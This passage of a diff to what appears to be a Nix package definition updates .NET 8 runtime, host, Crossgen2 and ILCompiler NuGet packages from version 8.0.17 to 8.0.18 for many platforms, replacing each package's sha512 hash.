+        hash = "sha512-Ymgqi3mVAYXktoV8Pm4uJk87tmoUsGNiDE6ixMghaSnrBzeJQHgiOgC08Loi5tt4GeAzKuofF9VWrST2Cr+mkw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.17";
-        hash = "sha512-2Pg0cRKKLlIs4ZJP3p97BYAXG6Ttnl/4xC0EMqvpiigljSSc/4loJpEceFjA9SEcBISRtm0yg5tB9CKUY7JGAg==";
+        version = "8.0.18";
+        hash = "sha512-JOnFBpCCSH6jp2wohLNBKeDXUfU/ZyF2Q8VALOqOh3oWicvO9WPw5skyHzuV6k/ClnKIhLZmJWF9sDIaCB1KXg==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "8.0.17";
-        hash = "sha512-SrlXcJ/A68zSy3e+NOYPB+7BCjjKE6QjSxKEAkdaNBwBBPvMC94tnYUDxKhES/6Je9guGE4LF/A2nEe2RNeejA==";
+        version = "8.0.18";
+        hash = "sha512-fQNP3JTHUnEkHnXnRuH1UBs3SyTzf3pCoMA1stExgShCQ5tR4LKKGu9OdEG+2QdmJMdMSunnU3CL8/UbfU/4XA==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "8.0.17";
-        hash = "sha512-FAOcrRdUyHU5QBDf+4GSjyTPb0nw+NhdF4hkQjsKuzlmUdbY7jbsEY8xr8nfOw+dnKNcj+4N0VGlqKT5zKnZOA==";
+        version = "8.0.18";
+        hash = "sha512-+F4XZgRh6v/UaQwU8iJ8JzHrhtWTLICXJ7lEv/PvqD37VQY/2irYLo4tCpZwLIfeZAldv4Sc+LeH5EcRov7Izg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.17";
-        hash = "sha512-YJib2fbiDQeWrEoAVAyVBa+ASWXJqjHyygr/9N9qHWAIuQn4F9PBkJs90ZBkEGxFhLGOsV0dLv3QSSfn9G9anw==";
+        version = "8.0.18";
+        hash = "sha512-stToQ45BL6fOk6arYUcYiRF5gX244Bju/GS0UKJyYpf61SFVHgiOfZtqciFWWEGTc0xuEHURjvNij4FTTYYs2g==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "8.0.17";
-        hash = "sha512-9AZNX0abD5AXz0PARFGU5N8jxBeuEAreZrMcsjuWqm+diyA51LCWJeGkG0HJ1XV88G9hSLn3gTCadhPKiYe8yA==";
+        version = "8.0.18";
+        hash = "sha512-n4956y81CtgHtzxRlLoZs9no1NeT6vHtHh00RTHST7m55eMV2Tslm/5k0Jo1Xo/T+50QmZqlGSfTH4hLpwEh2Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.17";
-        hash = "sha512-W/OdiSQkTscKsj2LZ6/Js80unCUQeQFPFUheOIayF0jeXZxBz2mgCv1W2bL2N6dQu/XzY+rcdAVaK84EctpyBw==";
+        version = "8.0.18";
+        hash = "sha512-xFWpgrb2yEEo9TKsT7Xpoj1lHemgKVYHW8kyego2xES/aUl3Rb9IO4hEcC3aAVcCpBp4M7+NrfhQrqhq3nI5pw==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "8.0.17";
-        hash = "sha512-Ld0Qg6YLHXSqbizrz4a0ycPfuty79ZK4zwAcguHZNS3GplRI9yJPbv/XXa7ENiSMOiFTWZjCpZ9mMTkJkLj7JQ==";
+        version = "8.0.18";
+        hash = "sha512-VsnN7b4GMKgq1FcJY7Pn8m3HWqdpZGjuAyUH9eIlvQGV6vzc9hvHIJhmDPA+hSvbjXshoa557IMWOJsGABo7sA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.17";
-        hash = "sha512-5sPZOZbgvw1k9mDnT0sQgYC9L90+Th2RlZquaEK4vYYb7NqwYddV6iipqF9zghrMzztK85Pym2bJZlKSn1fjsw==";
+        version = "8.0.18";
+        hash = "sha512-AA1LHIUoiWZG3qg0mRh0pBhnm7eKygNRk//A2OUpqxpbdWk5TnD0s2vuYqwonqonW9ykaMpP+inmyCB0fpYvtA==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "8.0.17";
-        hash = "sha512-w7EnpLx0V3N70/DdDyJCQV/rF4xtUTNKX3Ii4le1dTb7DxvqkplJ9Vf2y7l50i4dW8UEKtdfBED1BUGJiDx0Fg==";
+        version = "8.0.18";
+        hash = "sha512-sm5LY+hvq9/nxI3lurUwr7fu/abqb0DAos2ItezewQEGT3A0mNY+ZzawaX/dTAAivl+eToCMLi+2rH+OrRR3gQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.17";
-        hash = "sha512-hR1mk1E3E8bXdt0q1yFkB7HlT5vJ+BTbrNswKt/BivmT3/qgjTAyJI/24FNkmPKg6e+k2+stvV9vMxFjNWcWbg==";
+        version = "8.0.18";
+        hash = "sha512-3uhlEm4Q2OVGEjmcaW0m6BvM93TKaJ3UDs5Ilehn+y6ZIjTZCqG5Svs7QcXrBFDlJX109TtPV8pPB6eCE0O+6A==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "8.0.17";
-        hash = "sha512-F7MdXMz1cekBW9GMQ+U2CuFoMpBcAgkecJgZt96YfJEyCXVJotmGTMHB2pYoGBz0TU3307tg5JIfUd2d2Jj34Q==";
+        version = "8.0.18";
+        hash = "sha512-3E91cZevql0JI3Gqvxr9Ek8v6Bz8X7+CERVhKioz20407oziovUgfQPjcpXZ4maXIYB3Rg4qo8Su97dJRfYlPQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.17";
-        hash = "sha512-wgx1oeWwzdttunh9nnm4HXv6REofxaCTzmlBGgffonufjSK4vkzr/dLsq5bkV7Sj+/5sOc6qLesIwx7nUChllg==";
+        version = "8.0.18";
+        hash = "sha512-sbWou4XTgFm96/sKC6ICivQA2OUwjEHMdk3qhW3oR0HeFZNyGVfYgydgfmIhv+NPtxA9ymBtYT0Qy+Qzug5VXg==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "8.0.17";
-        hash = "sha512-ccX5RLNKPjmuagvmwkiONFgZuJa7qWFGCPjDm9WSK4efJ6CYFcNJmfTLHQMZ+fgyGzTnD2A5zMP/0Ot1o7xQEQ==";
+        version = "8.0.18";
+        hash = "sha512-ZZn4xQQamT5qjamOth5sIXjGQ93/1Q0zTMS5OdlmGEPQgnIXqscaGHa4+keV92x3ZkdYWiVfxVWJ388PS958FQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.17";
-        hash = "sha512-gqi233hXdnvcE7McL/G+TR/BN+MYrmau1vL1E2uXmtdE+GB/pPWQXzYnxAeRM6jbC3ku0YKsAk+5lnRaZ5dsXA==";
+        version = "8.0.18";
+        hash = "sha512-laTLzCURbEEC+X+WfJNkDXfjk+s/9RExjWJ+qELrBw7ekhepQKFq7h5fVONVcRdI4GSkpG0bETwa6DXPhi4iIw==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "8.0.17";
-        hash = "sha512-VsSVyCQbOvBD5tFuWknajmz57qGHqwP7Pvts+o6SJ5UEUSTPPlzREqSfb1oIntmkFgfFGOZdc/MeL2hIQdADRg==";
+        version = "8.0.18";
+        hash = "sha512-6qw3f6QPWExHGdMEsw4s5DmtN8BLBXzsFMH7x+7hjdnZvfx1eebZdY610kYGz8Q/tcd0sLa1TXMcrF2CpxixNw==";
       })
     ];
   };
@@ -175,566 +175,566 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "8.0.17";
-        hash = "sha512-u9hkQnH4virFn25AXmV9TLhpuRXfXiBmx/q+uSWaBz2CZmT/EY6e0kRL5gg57gtlfkItKg5rgXnClk2gWvmIQg==";
+        version = "8.0.18";
+        hash = "sha512-97IplAqXG0a6rE5XheNUd4Gaeutsoe0TtCg/rI0h4qrUbCOErcuf/w4OmoQMKPV8WQzIUejA35EziyaulL0/EQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "8.0.17";
-        hash = "sha512-0O+bU5EYdrFo3W0z7kHqfzV8r+hr/mboeekd/ObmPERfXYhn64W3qI0g3YfO+KHWiCD3rTju7gM0odZXXFu6xg==";
+        version = "8.0.18";
+        hash = "sha512-a9au+YLLDhwln5XPD0ryW0+L7cq/OZWlNaOSU6N5uwiL466rrJ3cevkOeACO6LBFmWCm9/mLzEY6XwUD+O85Gg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "8.0.17";
-        hash = "sha512-bJUphLGlvIBzrN/VwTEJnrI0ul7mm1GiG5HzthokhjE53M2hdPw1jFEpp9A2wFOHAuj7rTJFfkJwyrmVoL2TKw==";
+        version = "8.0.18";
+        hash = "sha512-DceneYsM3IeWIEZTAQWvpMhK9LUEWpse8gE14iyX1EHCmX5ZPyla2LFC4KPzo5sEFjfxxUXL1uH6P4wgegBa8Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-UOJ/eDhYZLsxGAWndocXEvpsKhxK+qkpTz6rBhsfLzJ0JMH3sYqSO4JDJV9rECYrkrcMbI4DjMJFQL9iNmyQTg==";
+        version = "8.0.18";
+        hash = "sha512-CddApCtn25IXLSFNGjqhNSNARB4mVJouJmXaIrdNdk2i6FlHQzt9ocRRNHQcCyds2vd7Xpevci2KcxA5ve+7kQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-SHuKMrh4ogiLsi6KGG5ziwKdu7ipPWKF+pjNi+lpXOhaSquyxiOQUSaHn+Cw7gIpunuJbnpHmWjSh3KSYgRxSA==";
+        version = "8.0.18";
+        hash = "sha512-/VBwWQ5g9ILmScK/BnUHc0+gwuKE/Hcwn4lrc88dywLo4d1mmgciFRAK9y9vjSqdK4LnSeDYoNV1Up64P9nlvA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-n8gVagaXe5iFgulX7xVJBCV7YHYuaxI8+ExUb2mRqFJ6Ova8Z99vlqANna8PiGbkVzy6FqoS97gguMfa7eXnkg==";
+        version = "8.0.18";
+        hash = "sha512-oFfmKhY4Xi0ulGkYMLkSQpx3tSX9aBG1vld2I4pSyN18mvkDATyWoaR1hH/xGNT8J1Zkq6X13ugCoJCeNc+jQQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-Xij6YAKzsmctbLeLJES2CKFnACvnCycv8EMOPPu7DcNnYHg/OOsUe3ObfXeKU5yhCW85wSM2NFwPiv8eO9Xe/Q==";
+        version = "8.0.18";
+        hash = "sha512-Tcsp8Jlthe8wsFdO6Nn57uO5sbkYBa6qyrc2DSpC7k6pLbrGZ+PRZ5fnl+6iHpPCoABCAMvhvwu9CLSriRhJ9g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm";
-        version = "8.0.17";
-        hash = "sha512-7AEQKppA6Meq5duC4IrlJgoyfwJLNpsBtbFfaoKhUvvPfyPjpI6rT1GtXVafMGeclVEMjW56PPv6W9kSHTD3GQ==";
+        version = "8.0.18";
+        hash = "sha512-8YTjgbM7KXUy8iGyatSNmhVDDaQx7tuHoHtO+LWOkusuh7XNdcBXl60P4ESUNRz/Vndhyp+fXE+S1dGgYuabJQ==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "8.0.17";
-        hash = "sha512-HJ/MHBFPWz0jeIW/8uoqHi0zmw/pY8SafYfG1l7I1vQhO+scdPp+W2dWFyPT7atiOubc1JC+ozrA3E4bLguZmg==";
+        version = "8.0.18";
+        hash = "sha512-LKWL8GaVV+r8yqsBx3PnqM8o8DwkdsXY78RVu812ii/roK/F3Tj3cAcBkjdX65jun3xDwCY5Sz+4PNfitGCHPA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "8.0.17";
-        hash = "sha512-zcgek5WOy0/XY/kRbE8DQpRM5zdDWlO6JV1bfST6hKlawEeMX0h+Amm1VdYA4SxHehgPuDvMM9NQo0MLUOiMMw==";
+        version = "8.0.18";
+        hash = "sha512-L4qih+Oj2RQrRC1xivu9JwIFyktVZ9cYzeEPX8IH+qOnmXUW9KWTqvj6axLmCsibDpZQQktGvVSo87B/HeO0+Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "8.0.17";
-        hash = "sha512-oFYo/d2Drv7914y3mzKdJ/18Gshple5H0FRsXUvCLWThrlYCFyjyhmEyToOMXLFHP1HWQ19xAzZPs9pN/AtePQ==";
+        version = "8.0.18";
+        hash = "sha512-uAvqaMX+UBsF6kcjSJsrDRWwQatSWoab6Zs57AEsgNBSImUJ469cWv9ByjJrUxqbcFiiJuOd0ERw1Zz2COhawg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-/E7gmctuYf5c45e5VREjE+BvVrVDX/yHoRTpCpeb89TE/a4q5BSxRNutlNlR89JKGRNEN5hKOGSpixNN30NJPg==";
+        version = "8.0.18";
+        hash = "sha512-1NPmjQAfTKpcqdKCbP+lCv2oeltqjZsCIUi4bzffAqjgKMXQ9GVJwNTRVAF+IUW2t8se76Si8tnY1aPQVZ4rcQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-DeNAP4VlvWX4hCek+RuQgt0C+QYBTpY8LBbIer9S1QXH4gM28BGtOzBUW5xeZ2nUik5QpP3hKPQk9UHnJQ8ABw==";
+        version = "8.0.18";
+        hash = "sha512-t7s5+Z9f+HQaLEoH8dFKFsigURWEtbX/4DTVkbb61PcbsO0SqGO31V8zEoyzOtfddaifURFbFA42aODv6vqHcQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-Aas+h9qheCOnTGOclCdfq3FeqTQN9+qhw9v5Wc3UhMt5hxkljzRhMKWPTNokM+erTb62C0RfFmNnEcUmm1M9fw==";
+        version = "8.0.18";
+        hash = "sha512-Tw+xdAhQGksiV7p/CKP6A5ORVbxEvnfiZWPQ2YAMHIV6h8Dg280+U9PBv/yCtIRgPbdBWnc8EkwJS6J4/Gn2pA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-Gg4T5ZJNQO1Ov8X3qB0gT5Nd57bD1uDgJFChmpdb/qRj5c6mHN42Nz1POnvz/ZxyIBZqTXSAK/Sh7hYwhnO6Cw==";
+        version = "8.0.18";
+        hash = "sha512-9lTB0xWTtaCf5dfxpSxqbMmA36UKhSV39ARu3jjxnQgHVBoHoS2z2k/LD7dkZOJA7Pdu+bxPJRHCDKg45CAmOg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm64";
-        version = "8.0.17";
-        hash = "sha512-u4SWuPRUXOxPTwHv6V2ePpZFw+D5/mE+zlq+vgk9B0odHvArhLFBsxSdq2OVzjx7T6OXnm664ySu1mWuZiRtLQ==";
+        version = "8.0.18";
+        hash = "sha512-6wPjZestzQO9qWYph3USKofrCRIEzRGIkPq2rjfObqCBFM7f288rVsaoomciMm/rzNk/IhJJUOakHyBna160Gg==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "8.0.17";
-        hash = "sha512-ksN26mFXeA3pkdTQIuhEbODXXhTgA24UoJLaj02Jr3OezARLCRs/kg4FIBpazJ2I0xI5oQPe0b8BiGQlW6Vt6A==";
+        version = "8.0.18";
+        hash = "sha512-AK7WYWP8zt+AFyORdzikH5ZMjATQ/piP8B0+v/sHWa0qz+l7R7VT8xnVxadn709XeWHYtsB5B+6UQ15i8JrAqg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "8.0.17";
-        hash = "sha512-SXqdnf+0qa3qjodEeBKQyjK1EOh50Fzymiz6PtOfWkcAESLXlE+UtImtxuE9tvjUwjBc2Z1zeiCyaGOhpVzh3A==";
+        version = "8.0.18";
+        hash = "sha512-DTOaAtQ/DKJvjBZCxlevKgBmI682/GyFgQ4mY3lZGTlwB5mSBm29zzj15ptdNpJkXwCaWZO/zmdz1UGxSaNIIQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "8.0.17";
-        hash = "sha512-7bIfsRP0cumDeTb+iOYm7+gnWLDx4nJcpM3OrkAjZS14CmQfWzXckmspd12sOHBir3gJaJiBLn5IOhuneoN2lg==";
+        version = "8.0.18";
+        hash = "sha512-B2b2WffuthV380wKbW45bXMng1/CFF1ZoCyvZif09VxmKLvYEl9QTyWRGXhih64sGXDnA5wZ91TuzIynaWLMzA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-ISu7M97fzDxM+s5dlutK/xuI0xj6yOAFgTZ0F6EZSMmwoNRN/SOXFtwnMQFoDCyNsTFP1RRIyHB2GHBnWzkeeg==";
+        version = "8.0.18";
+        hash = "sha512-6Xfg1UtpRheZIkRy/xBqkR7H50NAzE+Ww8cfUPCbHtfUDTM9MyCtmk2LTeIZQu0Fg1Dfr+esPWS4ieYTDufoNg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-FPBQGj1ec4f56WOS2vaKfQcu3ddB4N6aiW9ptDGnLslTs1SqLs5ROthMmGSptfyXVMaksbCQ36Dt4FlfKaQ0aw==";
+        version = "8.0.18";
+        hash = "sha512-uZWrqquGM0u30M+1cNjLEiEu6284pQ4qpRVNzQhP8JkwlC/lPlXmjcIkJkn8ruq7wfP1oENi1cx90W5xW5NPdA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-JoUr84iXSEzSt9qob5wFYBdvG1d0OalPBqMHKUM/W0MoAmvrAB7TynbY62B0xB/pH4u2th41AD0teAqJrFWLCg==";
+        version = "8.0.18";
+        hash = "sha512-K/PztujikPjSxTGPYrtphyblzO5uk9Jt4oR1RpDcqWsKLH2jMQnKe1+HrD0XHXVIstqMOSwIdoGnxAsG0ft0sg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-VlGSzLStxk86aalHNQ7lMcr8KaZ2OyOqklv1rXT92cwPpkY1+F/yrCOa5w4OIKL9CmPPfOgCvhTYq0sDPeKiSw==";
+        version = "8.0.18";
+        hash = "sha512-IlY9MhVGjEcm0kZaetRqJUESID7eo3C1xzVz0kwrcrKJl3wGEBL/7K3BjgLej0UKTi47mIqxWA3vWe0i8JdnBw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-x64";
-        version = "8.0.17";
-        hash = "sha512-QprkNU0qUh1rafUqBtf74gHyBv333CUbWqAlet4lfMGO5fUkriLhvckuRYGwAdB9UuN/p1gNqHeMBddqwrx62Q==";
+        version = "8.0.18";
+        hash = "sha512-el5pvDgxwTJDJHTQXNtlU0umzSN60rn+e2LqjrCp52j8vXBjD8mC5qg4q8f/OddzWlUqIAZSe956fwZzRfhMeg==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "8.0.17";
-        hash = "sha512-4gpidP+3KgWOg8V7X3QZb1bHRY6DuZq7k9JgUETydSL7s9oVKEF8OU6Uuajmxn5q2HjTII7UO+/Ost//wXxJgg==";
+        version = "8.0.18";
+        hash = "sha512-JMmBY2t+Lz5EalgDD12mE0k/VgoS+9oMfordQYMZIpKxiXvyFCbhAo03PqClCK9VvfJpw0Sr4O5G8vli1Wa+3A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "8.0.17";
-        hash = "sha512-fkY3BYk1K5zhi9MDTU/+oAz1o7+BzMaghJf7wDAnrIa0Uv8rHH6QFlUktqL2XTQaQyFi9AHKRwk6+qMVNMygjw==";
+        version = "8.0.18";
+        hash = "sha512-GiLJOvS8t/Al3a3WxYBPbKMYBo0YYcfKPtQ8/TFBZMUct3yx20DsXhv1qX8OxxEDePOBNzSgbxRb7RKFvjOeIQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "8.0.17";
-        hash = "sha512-eIlHY8UjZ0/h9fB23z60HXc0ZZgHsysSTivqkO7TEajctBS6INfqvCqQ5xJsM/3al61rZhZdJdIuIg0mQ7ZuYg==";
+        version = "8.0.18";
+        hash = "sha512-yi6TOgXCO+6xR9knQR6Efqgku9pEyKG8LpVHLtCfW+pdZT2m/Pu0s3LTNVI1EV34c9vg0m0CfFvMlu8P01n0VA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-UuP+BTHKYuNk9efX3dLcnqH+tK4uCObd4a3JH4was5IP9lrPlTst4shN+CrVASQZ3+1Mv+ofQCQzYF42sRN6yg==";
+        version = "8.0.18";
+        hash = "sha512-J24jZqdMfbwzk4nd8At+EefD/oilsu7umb0bicUA0WKY1qVVNUVGTvWnoO+bK/ZiPv4SFjYdn4gZARqUEQnorQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-3zek/zAOEojwKUANBjeWlnsPyWbbavnJ3o4VHMdmKR2dRk5TPU1oy8DC7vVk+rd1J0V6hrokxagxYL1+mh7sMg==";
+        version = "8.0.18";
+        hash = "sha512-DxjNTxOiG2FQgkEYUgZ2/HFMvLo8yclEUma89dpC4BSVn/7OFZldEvEkKKUDNhLJZMv8DUXb+6snXy/nAPYUfQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-OT2bIhD7vAgcGQy3T9wAuhCch7euvV7LTM9u06XVt8PfBe7ws2//NWklbN205WxR/+zKw9LA+WV0+ZluaWPwBg==";
+        version = "8.0.18";
+        hash = "sha512-c/4bi47f2sxg6FXsbVcfChfl/FHf7xN6mPUKqNIRReisvv67bt3utR6OgpX+PkbbdA9ojEfODVljSXQRrluQ/w==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-XIJ5AewwwMSntIdaU9wjGq5nnC7pt4Je2rOT3caGAZVUbMI+TLdzjGC4ySIG4EzHNdb0ioazDlpm59XYxFjtyQ==";
+        version = "8.0.18";
+        hash = "sha512-v+40oF6eORT0Z970gVunxVxIniO5IPg0ArlT/lt5E6rPLapmfauIT06v42Bzqf1JGYY/A4PCyEAlaSchGW6nEg==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "8.0.17";
-        hash = "sha512-Hi7EwkTaHTX+ORY78yBJfQIa0Li6QTM+bCgYwiJS5piw4mNbtsqg8JnzMTBTyL8RcC2Az7skktgUqrnQYPbE3A==";
+        version = "8.0.18";
+        hash = "sha512-Y6AHcXcoFbZ+ZNs6M/SnQieZHPd2I5isi9mviZ2svHqXsUi3GIC7wLHj+SrJpv27UpWVTJqcGoalEz1uNO7KYw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "8.0.17";
-        hash = "sha512-A4YO9NwkU6D/STwctlJU1W5uoGbSX05dWd2hQfriwS+QvSJAVHJfiuCd/obr+K6caCBz7QaB4atsbObXye/upA==";
+        version = "8.0.18";
+        hash = "sha512-eO5zIpPTMrTUtDF4jSRL+3///bPp8KD/j54Vyni3hE1N7GW/0vivulh8eRqSGA5u2JqXnlpjmRKhgmR3Qcl3Ag==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "8.0.17";
-        hash = "sha512-aziQHkE0YNyxANTFVFO1+j+NiAuqIrQLWua767eM+XCgwkdYd+SuuT3dDk83QJnFqHrLsoztdnFkmG0RjiJmKQ==";
+        version = "8.0.18";
+        hash = "sha512-dExyzX2A3z937eyzaU246VKWCTNu7SvZtcS7rENtnJ/0xjQn+b9mtGYlr9QwmnlpYGME4gDwxiYNz0AH2oFC9Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-HMJ43Pe4Bsk1RrKocroaQztnSZacp2KR9Ens5hf/2A9M67ag8pE9AC27Jnsm5123wYnK97MuLa1EhSzqjUJ3tg==";
+        version = "8.0.18";
+        hash = "sha512-PjOZbnpXMRehVGAo45UAl/svvu7JEdQ+RTN4bcvOohJ0mgUtZJxHijaLRFqegEkC/HLysPCMIRS+NdoySgdXPg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-76AdyyHdR+8w/Tf+eYbV0QAxceqvyAc05W0tWv/L8AhxH8DEdsv1RyXx1jTySd+CuGyTbb0Bmwd7NUdK7XCWJA==";
+        version = "8.0.18";
+        hash = "sha512-cYSafamQCxV6XB7HeLpsnzQChF9USa+gVUwXZZGd+SC3vInvWA3WJ0E6CpgHPzn2zTrBmoDmPVaknQCNklRlrQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-F4qOt3rF+aVxj+cMT04cc9GsLEhdcM36I7rAB05tHjxpYum29Cd52UL1E02n+Cb3AMWaOkFm3uZKbnuWHhCOMA==";
+        version = "8.0.18";
+        hash = "sha512-nV5A+iQQX+vr0J9AJ5zf/sPXFi8T/zge2RLHwTiA8PhgPFrGSIqQN4Iu6l/xibmgOoKGOcN05Zx+4jD3FBc/+Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-LnqYt32luIPGBIHWqkQqZII4JyVH2eV1cciCIsz/o0GSomy+IGPw8QirHSFchQhm9qIgS7swoXHEnBoVcXDa7g==";
+        version = "8.0.18";
+        hash = "sha512-0J8wYGosbk8+57fCrT4Oz4tWngsoTTooDiZg/SGMx1X4eR3tNRVbDfXSzXHwk5JwbCCAPMdk0zOPnAy7VqYFhg==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "8.0.17";
-        hash = "sha512-N5OgMVCqVq8v2L2LFcriguocIU98C72giD0eKgFirCst6beO71PU8sJyYNjRknl+L4A+uhDUsZfpLONDMz9vVw==";
+        version = "8.0.18";
+        hash = "sha512-Y1BIY/IjQxEjj9xN9Ws3QXE+xwQTS9Ud7oyKqpxjgW5nYiFkzIBHntB9GTvIPsob4KalmgvspG8pbd32YcW2Lw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "8.0.17";
-        hash = "sha512-bosx45pWfzEme1le8Bm75n6gAMSrlCe9+NmRoo5f/ZrpsPZq7zRaLVRlXB5XKi36Suq7BQjsJ67ubGNqF+Iz+g==";
+        version = "8.0.18";
+        hash = "sha512-Jc8N57Rarf5a/pojGgmTkzd8GoSUaBOnKJnrSTqYCizM2YoawM2Aps0tHvpRMG0s/u1NeXP5Zr64hJkVA4yLVw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "8.0.17";
-        hash = "sha512-5EJos1FnyGO5/7tjtF4MdniGBr19ZehLUwhblPnGTx3kyGPf+imGpA34HmKB0Lpf53nYXDBOiWrqUHl/dURarw==";
+        version = "8.0.18";
